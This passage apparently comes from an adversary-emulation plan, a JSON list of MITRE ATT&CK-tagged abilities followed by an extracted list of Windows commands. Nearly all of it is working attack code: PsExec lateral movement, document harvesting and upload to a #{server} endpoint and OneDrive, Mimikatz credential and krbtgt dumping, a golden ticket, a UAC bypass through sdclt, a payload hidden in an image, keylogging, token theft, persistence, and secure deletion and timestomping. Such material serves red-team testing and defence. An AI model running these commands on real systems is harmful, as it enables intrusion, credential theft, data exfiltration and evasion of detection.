        "psh,pwsh": "move-item sandcat.go-windows-upx C:\\Windows\\temp\\python.exe -force;\nset-location \"C:\\Program Files\\SysinternalsSuite\\\";\n.\\PsExec64.exe -accepteula \\\\#{pivot_machine_hostname} -i #{user.session.id} -d -f -c \"C:\\Windows\\Temp\\python.exe\" -group \"day-1-lateral-movement\" -server \"#{server}\";\ntasklist /S #{pivot_machine_hostname} /FI \"IMAGENAME eq python.exe\";\n"
      },
      "privilege": "Unknown",
      "tactic": "lateral-movement",
      "technique": "Ingress Tool Transfer",
      "attack_id": "T1105"
    },
    {
      "ability_id": "0b1841bd-ef8b-475c-bce7-8fcb2860984a",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Import-Module .\\Get-Screenshot.ps1 -Verbose -Force;\nGet-Screenshot;\n"
      },
      "privilege": "Unknown",
      "tactic": "collection",
      "technique": "Screen Capture",
      "attack_id": "T1113"
    },
    {
      "ability_id": "d5170a60-3bdc-44e0-9870-a38db5c0cf81",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "ls #{remote.file.share}\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "File and Directory Discovery",
      "attack_id": "T1083"
    },
    {
      "ability_id": "08e57385-dbce-4850-8bb7-589ef79465ab",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "move-item Rar.exe -Destination C:\\Windows\\Temp -Force;\n$env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*admin*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\\working.zip -Force;\ncd C:\\Windows\\Temp;\n.\\Rar.exe a -hpfGzq5yKw \"$env:USERPROFILE\\Desktop\\working.zip\" \"$env:APPDATA\\working.zip\";\n"
      },
      "privilege": "Unknown",
      "tactic": "execution",
      "technique": "Command and Scripting Interpreter: PowerShell",
      "attack_id": "T1059.001"
    },
    {
      "ability_id": "2d18c8ec-4593-49dc-9bf4-11d0673d6ae6",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Import-Module .\\upload.ps1 -Verbose -Force;\nInvoke-MultipartFormDataUpload-InFile \"C:\\Users\\#{profile_user}\\Desktop\\working.zip\" -Uri \"#{server}/file/upload\";\n"
      },
      "privilege": "Unknown",
      "tactic": "exfiltration",
      "technique": "Exfiltration Over C2 Channel",
      "attack_id": "T1041"
    },
    {
      "ability_id": "208b021b-c79a-4176-8ad1-3af99ed50c6f",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "if (!$(test-path -path \"C:\\Program Files\\SysInternalsSuite\")) {\n  mkdir \"C:\\Program Files\\SysInternalsSuite\";\n}\nset-location \"C:\\Program Files\\SysInternalsSuite\";\n\nif (!$(test-path -path \"sdelete64.exe\")) {\n  iwr -uri \"https://download.sysinternals.com/files/SDelete.zip\" -outfile sdelete64.zip;\n  Expand-Archive sdelete64.zip -force;\n}\ncopy sdelete64.exe C:\\Windows\\Temp\\;\ncd C:\\Windows\\Temp\\ ;\n.\\sdelete64.exe /accepteula C:\\Windows\\Temp\\Rar.exe;\n.\\sdelete64.exe /accepteula C:\\Users\\#{profile_user}\\AppData\\Roaming\\working.zip;\n.\\sdelete64.exe /accepteula C:\\Users\\#{profile_user}\\Desktop\\working.zip;\nremove-item C:\\Windows\\Temp\\sdelete64.exe -force;\n"
      },
      "privilege": "Unknown",
      "tactic": "defensive-evasion",
      "technique": "Indicator Removal on Host: File Deletion",
      "attack_id": "T1070.004"
    },
    {
      "ability_id": "4b2e9574-b1a7-4b38-95b2-6054ded9c4fe",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "write-host \"[*] Restarting Computer\";\nRestart-Computer -Force;\n"
      },
      "privilege": "Unknown",
      "tactic": "impact",
      "technique": "System Shutdown/Reboot",
      "attack_id": "T1529"
    },
    {
      "ability_id": "4bedbd9b-a570-4f9f-b78a-2f7f99ad5e92",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Remove-Item -Path \"$env:USERPROFILE\\Downloads\\*.pfx\" -Force;\nRemove-Item -Path \"$env:USERPROFILE\\Downloads\\*.bmp\" -Force;\nRemove-Item -Path \"$env:USERPROFILE\\Downloads\\*.png\" -Force;\nif (test-path -path \"$env:APPDATA\\OfficeSupplies.7z\") {\n    Remove-Item -Path \"$env:APPDATA\\OfficeSupplies.7z\" -Force; write-host \"[+] Successfully removed OfficeSupplies.7z\";\n} else {\n    write-host \"[!] File did not exist to be removed!\";\n}\n\nif (get-job -name \"Keystrokes\" -ErrorAction SilentlyContinue) {\n    Remove-Job -Name \"Keystrokes\";\n    if ($?) {\n        write-host \"[+] Job \\\"Keystrokes\\\" was remove.\";\n    }\n} else {\n    write-host \"[!] Job \\\"Keystrokes\\\" did not exist.\";\n}\n\nif (get-job -Name \"Screenshot\" -ErrorAction SilentlyContinue) {\n    Remove-Job -Name \"Screenshot\" -Force;\n    write-host \"[+] Job \\\"screenshot\\\" was removed.\";\n} else {\n    write-host \"[*] Job \\\"screenshot\\\" does not exist, thus was not removed.\";\n}\nremove-item upload.ps1 -Force;\n"
      },
      "privilege": "Unknown",
      "tactic": "defensive-evasion",
      "technique": "Indicator Removal on Host: File Deletion",
      "attack_id": "T1070.004"
    },
    {
      "ability_id": "00446217-53ca-4749-bacd-f41fe189d36e",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "cmdkey /add:127.0.0.2 /user:#{profile_user} /pass:#{profile_user_password};\nmstsc /v:127.0.0.2;\nsleep 10;\nGet-Process -name mstsc;\nif ($?) { taskkill.exe /F /IM mstsc.exe; exit 0; } else {exit 1;}\n"
      },
      "privilege": "Unknown",
      "tactic": "lateral-movement",
      "technique": "Boot or Logon Initialization Scripts: Startup Items",
      "attack_id": "T1037.005"
    },
    {
      "ability_id": "e506f811-884d-4992-aacb-514b33a0324f",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Set-Location -Path \"C:\\Users\\#{profile_user_day2}\\Desktop\";\n\nif(Test-Path -LiteralPath \"$env:appdata\\Microsoft\\kxwn.lock\"){\n  Remove-Item \"$env:appdata\\Microsoft\\kxwn.lock\" -Force;\n  Write-Host \"Removed old kxwn.lock file\";\n}\n\npowershell.exe Get-Content '.\\2016_United_States_presidential_election_-_Wikipedia.html' -Stream schemas | IEX;\n"
      },
      "privilege": "Unknown",
      "tactic": "execution",
      "technique": "User Execution: Malicious File",
      "attack_id": "T1204.002"
    },
    {
      "ability_id": "4a2ad84e-a93a-4b2e-b1f0-c354d6a41278",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "if (!(test-path -path \"$env:appdata\\Microsoft\\kxwn.lock\")) {\n  write-host \"[!] kxwn.lock was not found on this host.\";\n  exit 1;\n} else {\n  . .\\timestomp.ps1;\n  timestomp -dest \"$env:appdata\\Microsoft\\kxwn.lock\";\n}\n"
      },
      "privilege": "Unknown",
      "tactic": "defensive-evasion",
      "technique": "Indicator Removal on Host: Timestomp",
      "attack_id": "T1070.006"
    },
    {
      "ability_id": "f9c0b150-822f-497b-ad6d-187f24561e9a",
      "platform": "windows",
      "commands": {
        "psh,pwsh": ". .\\stepTwelve.ps1;\ndetectav\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Software Discovery: Security Software Discovery",
      "attack_id": "T1518.001"
    },
    {
      "ability_id": "2b5a72b1-01e4-48ae-98b0-2570a7894371",
      "platform": "windows",
      "commands": {
        "psh,pwsh": ". .\\stepTwelve.ps1;\nsoftware;\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Software Discovery",
      "attack_id": "T1518"
    },
    {
      "ability_id": "0cfadbcb-ec21-44ae-adb7-9a23176dd620",
      "platform": "windows",
      "commands": {
        "psh,pwsh": ". .\\stepThirteen.ps1;\ncomp;\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "System Information Discovery",
      "attack_id": "T1082"
    },
    {
      "ability_id": "96140694-6d13-40b6-9553-0e63533469f3",
      "platform": "windows",
      "commands": {
        "psh,pwsh": ". .\\stepThirteen.ps1;\ndomain;\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "System Information Discovery",
      "attack_id": "T1082"
    },
    {
      "ability_id": "f320eebd-e75b-4194-b529-79e64ad0b9ee",
      "platform": "windows",
      "commands": {
        "psh,pwsh": ". .\\stepThirteen.ps1;\nuser;\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "System Owner/User Discovery",
      "attack_id": "T1033"
    },
    {
      "ability_id": "a34ab8f2-a106-41fb-af0b-cf5382bd18ae",
      "platform": "windows",
      "commands": {
        "psh,pwsh": ". .\\stepThirteen.ps1;\npslist;\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Process Discovery",
      "attack_id": "T1057"
    },
    {
      "ability_id": "5226e5dc-fc28-43b7-a679-0db49d520402",
      "platform": "windows",
      "commands": {
        "psh,pwsh": ". .\\stepFourteen_bypassUAC.ps1;\nbypass;\n"
      },
      "privilege": "Unknown",
      "tactic": "defensive-evasion",
      "technique": "Access Token Manipulation: Create Process with Token",
      "attack_id": "T1134.002"
    },
    {
      "ability_id": "4ef6009d-2d62-4bb4-8de9-0458df2e9567",
      "platform": "windows",
      "commands": {
        "psh,pwsh": ". .\\stepFourteen_credDump.ps1;\n"
      },
      "privilege": "Unknown",
      "tactic": "credential-access",
      "technique": "Credential Dumping",
      "attack_id": "T1003"
    },
    {
      "ability_id": "1dba454c-0e4f-4fe0-8bc9-b17e8c5c9a24",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "write-host \"[+] Successfully downloaded m.exe\";\n"
      },
      "privilege": "Unknown",
      "tactic": "credential-access",
      "technique": "Credential Dumping",
      "attack_id": "T1003"
    },
    {
      "ability_id": "43aad2d6-d16a-4adb-aa2b-9510a3be4c52",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Get-WmiObject -Namespace \"root/subscription\" -list | findstr /i \"__Filter\";\nif ($?) {\n  write-host \"[*] WMI script has already executed on this machine. Not loading and executing wmi script.\";\n  exit 1;\n} else {\n  . .\\stepFifteen_wmi.ps1;\n  wmi;\n  if ($?) {\n    write-host \"[+] WMI script has successfully executed!\";\n    exit 0;\n  }\n  exit 1;\n}\n"
      },
      "privilege": "Unknown",
      "tactic": "persistence",
      "technique": "Event Triggered Execution: Windows Management Instrumentation Event Subscription",
      "attack_id": "T1546.003"
    },
    {
      "ability_id": "1c8552c7-f7ed-4523-b640-72d65af5f855",
      "platform": "windows",
      "commands": {
        "psh,pwsh": ". .\\powerview.ps1;\nget-netdomaincontroller;\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Remote System Discovery",
      "attack_id": "T1018"
    },
    {
      "ability_id": "a42be479-fc26-4d7c-9e63-7a9b74e4c8d2",
      "platform": "windows",
      "commands": {
        "psh,pwsh": ". .\\stepSixteen_SID.ps1;\nsiduser;\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "System Owner/User Discovery",
      "attack_id": "T1033"
    },
    {
      "ability_id": "acecc8f7-18c2-41fd-87bc-39ffd644e4e9",
      "platform": "windows",
      "commands": {
        "psh,pwsh": ". .\\invoke-winrmsession.ps1;\n$session = invoke-winrmsession -Username \"#{target.winrm.username}\" -Password \"#{target.winrm.password}\" -IPAddress \"#{target.winrm.remote_host}\";\nCopy-Item m.exe -Destination \"C:\\Windows\\System32\\\\\" -ToSession $session -force;\nif ($?) {\n  write-host \"[+] Successfully copied m.exe to remote host\";\n} else {\n  write-host \"[!] Error, copying and executing m.exe on remote host\";\n}\nInvoke-Command -Session $session -scriptblock {C:\\Windows\\System32\\m.exe privilege::debug \"lsadump::lsa /inject /name:krbtgt\" exit} | out-string\n"
      },
      "privilege": "Unknown",
      "tactic": "lateral-movement",
      "technique": "Ingress Tool Transfer",
      "attack_id": "T1105"
    },
    {
      "ability_id": "b1dcc53a-c86c-46ba-8a3d-e1da74a8db3c",
      "platform": "windows",
      "commands": {
        "psh,pwsh": ". .\\stepSeventeen_email.ps1;\nWrite-Host \"Emails Collected\";\n"
      },
      "privilege": "Unknown",
      "tactic": "collection",
      "technique": "Email Collection: Local Email Collection",
      "attack_id": "T1114.001"
    },
    {
      "ability_id": "fc231955-774f-442c-ac0e-e74dfda50c5c",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "try{\n  if (!(test-path -path \"C:\\Windows\\Temp\\WindowsParentalControlMigration\" -ErrorAction Stop)) {\n    New-Item -Path \"C:\\Windows\\temp\\\" -Name \"WindowsParentalControlMigration\" -ItemType \"directory\" -force;\n  }\n} catch {\n  write-host \"[!] Access is denied. Manually browse to C:\\Windows\\Temp via Explorer and accept prompt\";\n  exit 1;\n}\n\nif (! (test-path -path \"C:\\Users\\#{profile_user_day2}\\Documents\\MITRE-ATTACK-EVALS.HTML\")) {\n  write-host \"[!] Error, MITRE-ATTACK-EVALS.HTML was not found.\";\n  exit 1;\n}\nCopy-Item \"C:\\Users\\#{profile_user_day2}\\Documents\\MITRE-ATTACK-EVALS.HTML\" -Destination \"C:\\Windows\\Temp\\WindowsParentalControlMigration\" -force;\n. .\\stepSeventeen_zip.ps1;\nzip C:\\Windows\\Temp\\WindowsParentalControlMigration.tmp C:\\Windows\\Temp\\WindowsParentalControlMigration;\nif ($?) {\n  write-host \"[+] Documents successfully staged for collection.\";\n}\n"
      },
      "privilege": "Unknown",
      "tactic": "collection",
      "technique": "Data from Local System",
      "attack_id": "T1005"
    },
    {
      "ability_id": "4840d6dd-da13-401a-be46-05db56f4e1e0",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "$err = $(net use y: #{onedrive.url} /user:#{onedrive.username} \"#{onedrive.password}\" 2>&1);\nif($err -Like \"*System error 85*\") {\n  Write-Host \"OneDrive net drive is already mounted!\";\n} elseif($err -Like \"*System error 67*\") {\n  Write-Host \"OneDrive net drive mount failed - Check URL!\";\n  Write-Host \"#{onedrive.url}\";\n  exit 1;\n} elseif($err -Like \"*System error 1244*\") {\n  Write-Host \"Could not authenticate to OneDrive - Check Creds!\";\n  Write-Host \"User: #{onedrive.username}\";\n  Write-Host \"Password: #{onedrive.password}\";\n  exit 1;\n}\n\nWrite-Host \"Mount Successful\"\nCopy-Item \"C:\\Windows\\Temp\\WindowsParentalControlMigration.tmp\" -Destination \"y:\\WindowsParentalControlMigration.tmp\" -Force;\nif(!$?){\n  exit 1;\n}\n\nWrite-Host \"Copy Successfull\"\nexit 0;\n"
      },
      "privilege": "Unknown",
      "tactic": "exfiltration",
      "technique": "Transfer Data to Cloud Account",
      "attack_id": "T1537"
    },
    {
      "ability_id": "f820b93d-6176-4a72-a138-a70b0b549c49",
      "platform": "windows",
      "commands": {
        "psh,pwsh": ". .\\wipe.ps1;\nwipe \"m.exe\";\nwipe \"C:\\Windows\\Temp\\WindowsParentalControlMigration.tmp\";\nwipe \"C:\\Windows\\Temp\\WindowsParentalControlMigration\\MITRE-ATTACK-EVALS.HTML\";\n"
      },
      "privilege": "Unknown",
      "tactic": "impact",
      "technique": "Disk Wipe: Disk Content Wipe",
      "attack_id": "T1561.001"
    },
    {
      "ability_id": "267bad86-3f06-49f1-9a3e-6522f2a61e7a",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "klist purge;\n. .\\Invoke-Mimikatz.ps1;\ninvoke-mimikatz -command \"kerberos::golden /domain:#{target.domain.name} /sid:#{target.sid}  /rc4:#{target.ntlm} /user:#{target.winrm.username} /ptt\";\nklist;\ninvoke-command -ComputerName scranton -ScriptBlock {net user /add toby \"pamBeesly<3\"};\n"
      },
      "privilege": "Unknown",
      "tactic": "credential-access",
      "technique": "Credential Dumping",
      "attack_id": "T1003"
    },
    {
      "ability_id": "afb8d8f7-d059-4825-95ae-c5727e2db320",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Restart-Computer -Force;\n"
      },
      "privilege": "Unknown",
      "tactic": "persistence",
      "technique": "Signed Binary Proxy Execution: Rundll32",
      "attack_id": "T1218.011"
    }
  ]
}

Windows Commands extracted

  
Sleep 3;
$bin = Get-ChildItem *cod*scr*;
$arguments = '-server "#{server}" -group "rtlo_group"';
start-process -WindowStyle Hidden $bin.FullName.toString() -ArgumentList $arguments;

if ($?) {
  write-host "Successfully completed RTLO execution. A new agent should appear";
  exit 0;

} else {
  write-host "Failure of RTLO execution.";
  exit 1;
}
powershell.exe;
if ($?) {
  write-host "[*] PowerShell successfully spawned";
  exit 0;
}
$env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*admin*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\Draft.Zip -Force
ipconfig /all
arp -a
echo %USERDOMAIN%\%USERNAME%
Import-Module .\upload.ps1 -Verbose -Force;
Invoke-MultipartFormDataUpload -InFile "C:\Users\#{profile_user}\AppData\Roaming\Draft.zip" -Uri "#{server}/file/upload";
Import-Module .\ps.ps1 -Verbose -Force;
ProcessList
tasklist /v
sc query
net start
systeminfo
net config workstation
net localgroup administrators
net localgroup administrators /domain
cmd.exe /c net group "Domain Admins" /domain
net user /domain
net user %USERNAME% /domain
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
$username="#{profile_user}";
if ( $(test-path -path "C:\Users\$username\Downloads\monkey.png") -eq $false ) {
  copy-item monkey.png -Destination "C:\Users\$username\Downloads\\" -Force;
  if ($? -eq $True) {
    write-host "[+] Successfully copied monkey.png!";
    get-childitem -path "C:\Users\$username\Downloads\\";
    exit 0;
  } else {
    write-host "[+] Failed to copy monkey.png.";
    exit 1;
  }

  } else {
    write-host "[*] monkey.png already exists within C:\users\$username\Downloads..."
  }
Import-Module .\Invoke-BypassUACTokenManipulation.ps1 -Verbose -Force;
Move-Item -Path .\update.ps1 -Destination $env:APPDATA -Force;
$pcode = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("Import-Module $env:APPDATA\update.ps1;update('#{server}')"));
Invoke-BypassUACTokenManipulation -Arguments "-nop -exec bypass -EncodedCommand $pcode" -Verbose
if (!(test-path -path $env:windir\system32\sdclt.exe)) {
  write-host "[!] sdclt.exe was not found on this host.";
  exit 1;
}
New-Item -Path HKCU:\Software\Classes -Name Folder -Force;
New-Item -Path HKCU:\Software\Classes\Folder -Name shell -Force;
New-Item -Path HKCU:\Software\Classes\Folder\shell -Name open -Force;
New-Item -Path HKCU:\Software\Classes\Folder\shell\open -Name command -Force;

$username="#{profile_user}";
$payload='powershell.exe -noni -noexit -ep bypass -window hidden -c "sal a New-Object;Add-Type -AssemblyName "System.Drawing"; $g=a System.Drawing.Bitmap("C:\Users\$($username)\Downloads\monkey.png");$o=a Byte[] 4480;for($i=0; $i -le 6; $i++){foreach($x in(0..639)){$p=$g.GetPixel($x,$i);$o[$i*640+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3932]))"';

Set-ItemProperty -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "(Default)" -Value $payload -Force;
Set-ItemProperty -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute" -Value "" -Force;

cmd.exe /c sdclt.exe;
cmd.exe /c powershell.exe;
Remove-Item -Path HKCU:\Software\Classes\Folder* -Recurse -Force;
if (!(test-path -path HKCU:\Software\Classes\Folder)) {
  write-host "[+] Reg keys removed!";
 }
Import-Module .\Invoke-PSInject.ps1 -Verbose -Force;
Move-Item -Path .\update.ps1 -Destination $env:APPDATA -Force;
$pcode = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("Import-Module $env:APPDATA\update.ps1;update('#{server}')"));
Inject -PoshCode $pcode;
iwr -uri "https://download.sysinternals.com/files/SysinternalsSuite.zip" -outfile SysInternalsSuite.zip;
Expand-Archive -Path SysInternalsSuite.zip -DestinationPath "C:\Users\#{profile_user}\Downloads\SysInternalsSuite" -Force;

if (! $?) {
  write-host "Error moving files to #{profile_user}\Downloads";
  exit 1;
}

Move-Item Modified-SysInternalsSuite.zip "C:\Users\#{profile_user}\Downloads" -Force;
Expand-Archive -LiteralPath "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite.zip" -DestinationPath "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite" -Force;

if (! $?) {
  write-host "Error expanding files to #{profile_user}\Downloads";
  exit 1;
}

$dir_exists=Test-Path -path "C:\Program Files\SysInternalsSuite";
if ($dir_exists -eq $true) {
  write-host "[*] SysInternalsSuite folder exists within \"C:\Program Files\", copying over payloads then removing folder from Downloads.";
  Move-Item -path "C:\Users\#{profile_user}\Downloads\SysInternalsSuite\\*" -Destination "C:\Program Files\SysInternalsSuite\\" -Force;
  Move-Item -path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite\\*" -Destination "C:\Program Files\SysInternalsSuite\\" -Force;
} else {
  mkdir "C:\Program Files\SysInternalsSuite";
  Copy-Item -Path "C:\Users\#{profile_user}\Downloads\SysInternalsSuite\\*" -Destination "C:\Program Files\SysInternalsSuite\\" -Force;
  Copy-Item -Path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite\\*" -Destination "C:\Program Files\SysInternalsSuite\\" -Force;
}

if (test-path -path "SysInternalsSuite.zip") {
  Remove-Item -path "filesystem::SysInternalsSuite.zip" -force;
}

if (test-path -path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite.zip" ) {
  remove-item -path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite.zip" -force;
}

if (test-path -path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite") {
  remove-item -path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite" -recurse -force;
}

if (test-path -path "C:\Users\#{profile_user}\Downloads\SysInternalsSuite") {
  Remove-Item -path  "C:\Users\#{profile_user}\Downloads\SysInternalsSuite" -recurse -force;
}

Set-Location -path "C:\Program Files\SysInternalsSuite";
if ($?) {
  gci;
  write-host "[*] Successfully planted files"
} else {
  write-host "[!] Error downloading and planting modified system tools."
}
cmd.exe /c net group "Domain Controllers" /domain
cmd.exe /c net group "Domain Computers" /domain
netsh advfirewall show allprofiles
$ps = get-process;
write-output $ps;
if (! $(test-path -path "C:\Program Files\SysInternalsSuite";)) {
  write-host "[!] The path C:\Program Files\SysInternalsSuite does not exist. Execution has stopped.";
  exit 1;
}
Set-Location -path "C:\Program Files\SysInternalsSuite";
gci $env:userprofile\Desktop;
.\sdelete64.exe /accepteula "$env:USERPROFILE\Desktop\‮cod.3aka3.scr";
.\sdelete64.exe /accepteula "$env:APPDATA\Draft.Zip";
.\sdelete64.exe /accepteula "$env:USERPROFILE\Downloads\SysInternalsSuite.zip";
if (! $(test-path -path "C:\Program Files\SysInternalsSuite")) {
  write-host "[!] The path C:\Program Files\SysInternalsSuite does not exist. Execution has stopped.";
  exit 1;
}

Set-Location -path "C:\Program Files\SysInternalsSuite";
if (!(test-path ".\readme.ps1")) {
  Move-Item .\readme.txt readme.ps1 -Force;
}
. .\readme.ps1;
Invoke-Discovery;
netstat -ano
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True };
$web = (New-Object System.Net.WebClient);
$result = $web.DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1");
iex $result;
function hashdump
{
    Invoke-Mimikatz -Command "privilege::debug token::elevate lsadump::sam exit"
};
hashdump;
Set-Location -path "C:\Program Files\SysinternalsSuite";
if (get-service -name "javamtsup" -ErrorAction SilentlyContinue) {
  write-host "[*] Service already exists...Not running persistence step-1";
  exit 1;
}

if (Test-Path -path "readme.ps1") {
  . .\readme.ps1;
  Invoke-Persistence -PersistStep 1;
  write-host "[+] Persistence 1 invoked.";
  exit 0;

} else {
  write-host "[!] readme.ps1 not found.";
  exit 1;
}
Set-Location -path "C:\Program Files\SysinternalsSuite";
if (Test-Path -path "readme.ps1") {
  . .\readme.ps1;
  Invoke-Persistence -PersistStep 2;
  write-host "[+] Persistence 2 invoked.";

} else {
  write-host "[!] readme.ps1 not found.";
  return 1;
}
Import-Module .\StealToken.ps1 -Verbose -Force;
StealToken;
CreateProcessWithToken -CommandLine 'cmd.exe /c reg query "\\#{remote.file.share}\hklm\system\currentcontrolset\control\terminal server"';
CreateProcessWithToken -CommandLine 'cmd.exe /c schtasks /create /tn "Resume Viewer Update Checker" /tr ".\sandcat.exe #{server} evals" /sc ONLOGON /RU SYSTEM';
CreateProcessWithToken -CommandLine 'cmd.exe /c dir /s /b #{remote.file.share}';
CreateProcessWithToken -CommandLine 'cmd.exe /c tree %USERPROFILE%';
RevertToSelf;
if (! $(test-path -path "C:\Program Files\SysinternalsSuite")) {
  write-host "[!] The path C:\Program Files\SysinternalsSuite does not exist. Execution has stopped.";
  exit 1;
}

Set-Location -path "C:\Program Files\SysinternalsSuite";
./accesschk.exe -accepteula .;
Import-Module .\StealToken.ps1 -Verbose -Force;
StealToken;
CreateProcessWithToken -CommandLine 'cmd.exe /c reg query "\\#{remote.file.share}\hklm\system\currentcontrolset\control\terminal server"';
CreateProcessWithToken -CommandLine 'cmd.exe /c schtasks /create /tn "Resume Viewer Update Checker" /tr ".\sandcat.exe #{server} evals" /sc ONLOGON /RU SYSTEM';
CreateProcessWithToken -CommandLine 'cmd.exe /c dir /s /b #{remote.file.share}';
CreateProcessWithToken -CommandLine 'cmd.exe /c tree %USERPROFILE%';
RevertToSelf;
Import-PfxCertificate -Exportable -FilePath ".\dmevals.local.pfx" -CertStoreLocation Cert:\LocalMachine\My;

if (! $(test-path -path "C:\Program Files\SysinternalsSuite")) {
  write-host "[!] The path C:\Program Files\SysinternalsSuite does not exist. Execution has stopped.";
  exit 1;
}
Set-Location -path "C:\Program Files\SysinternalsSuite";
. .\readme.ps1;
Get-PrivateKeys;
if ($? -eq $True) {
    write-host "[+] Successfully executed private key collection script.";
    exit 0;
} else {
    write-host "[!] Error, could not execution Get-PrivateKeys.";
    exit 1;
}
if (! $(test-path -path "C:\Program Files\SysInternalsSuite")) {
  write-host "[!] The path C:\Program Files\SysInternalsSuite does not exist. Execution has stopped.";
  exit 1;
}

Set-Location -path "C:\Program Files\SysInternalsSuite";
if (test-path -path ".\psversion.txt" ) {
  move-item .\psversion.txt psversion.ps1 -Force;
}
  write-host "[+] File psversion.ps1 staged to be imported."
if (! $(test-path -path "C:\Program Files\SysinternalsSuite\psversion.ps1";)) {
  write-host "[!] The path C:\Program Files\SysinternalsSuite\psversion.ps1 does not exist. Execution has stopped.";
  exit 1;
}

Set-Location -path "C:\Program Files\SysinternalsSuite";
. .\psversion.ps1;
Invoke-ScreenCapture; Start-Sleep -Seconds 3; View-Job -JobName "Screenshot";
$clip_data=get-clipboard;
if ($clip_data.Length -gt 0) {
  write-host "[+] Clipboard data obtained!\n";
  write-host $clip_data;
} else {
  write-host "[!] No clipboard data available!\n";
}
if (! $(test-path -path "C:\Program Files\SysinternalsSuite")) {
  write-host "[!] The path C:\Program Files\SysinternalsSuite does not exist. Execution has stopped.";
  exit 1;
}
Set-Location -path "C:\Program Files\SysinternalsSuite";
. .\psversion.ps1;
Get-Keystrokes;
Start-Sleep -Seconds 15;
View-Job -JobName "Keystrokes";
Write-Host "[*] Compressing all the things in download dir";
Compress-Archive -Path "C:\Users\#{profile_user}\Downloads\*.*" -DestinationPath "$env:APPDATA\OfficeSupplies.zip";

Import-Module .\upload.ps1 -Verbose -Force;
Invoke-MultipartFormDataUpload -InFile "$env:APPDATA\OfficeSupplies.zip" -Uri "#{server}/file/upload";
if ($?) {
  write-host "[+] Data exfil of download directory completed!";
} else {
  write-host "[!] Data exfil failed!";
}
Import-Module .\StealToken.ps1 -Verbose -Force;
StealToken;
CreateProcessWithToken -CommandLine 'cmd.exe /c reg query "\\#{remote.file.share}\hklm\system\currentcontrolset\control\terminal server"';
CreateProcessWithToken -CommandLine 'cmd.exe /c schtasks /create /tn "Resume Viewer Update Checker" /tr ".\sandcat.exe #{server} evals" /sc ONLOGON /RU SYSTEM';
CreateProcessWithToken -CommandLine 'cmd.exe /c dir /s /b #{remote.file.share}';
CreateProcessWithToken -CommandLine 'cmd.exe /c tree %USERPROFILE%';
RevertToSelf;
Import-Module .\StealToken.ps1 -Verbose -Force;
StealToken;
CreateProcessWithToken -CommandLine 'cmd.exe /c reg query "\\#{remote.file.share}\hklm\system\currentcontrolset\control\terminal server"';
CreateProcessWithToken -CommandLine 'cmd.exe /c schtasks /create /tn "Resume Viewer Update Checker" /tr ".\sandcat.exe #{server} evals" /sc ONLOGON /RU SYSTEM';
CreateProcessWithToken -CommandLine 'cmd.exe /c dir /s /b #{remote.file.share}';
CreateProcessWithToken -CommandLine 'cmd.exe /c tree %USERPROFILE%';
RevertToSelf;
if (! $(test-path -path "C:\Program Files\SysinternalsSuite")) {
  write-host "[!] The path C:\Program Files\SysinternalsSuite does not exist. Execution has stopped.";
  exit 1;
}

Set-Location -path "C:\Program Files\SysinternalsSuite";
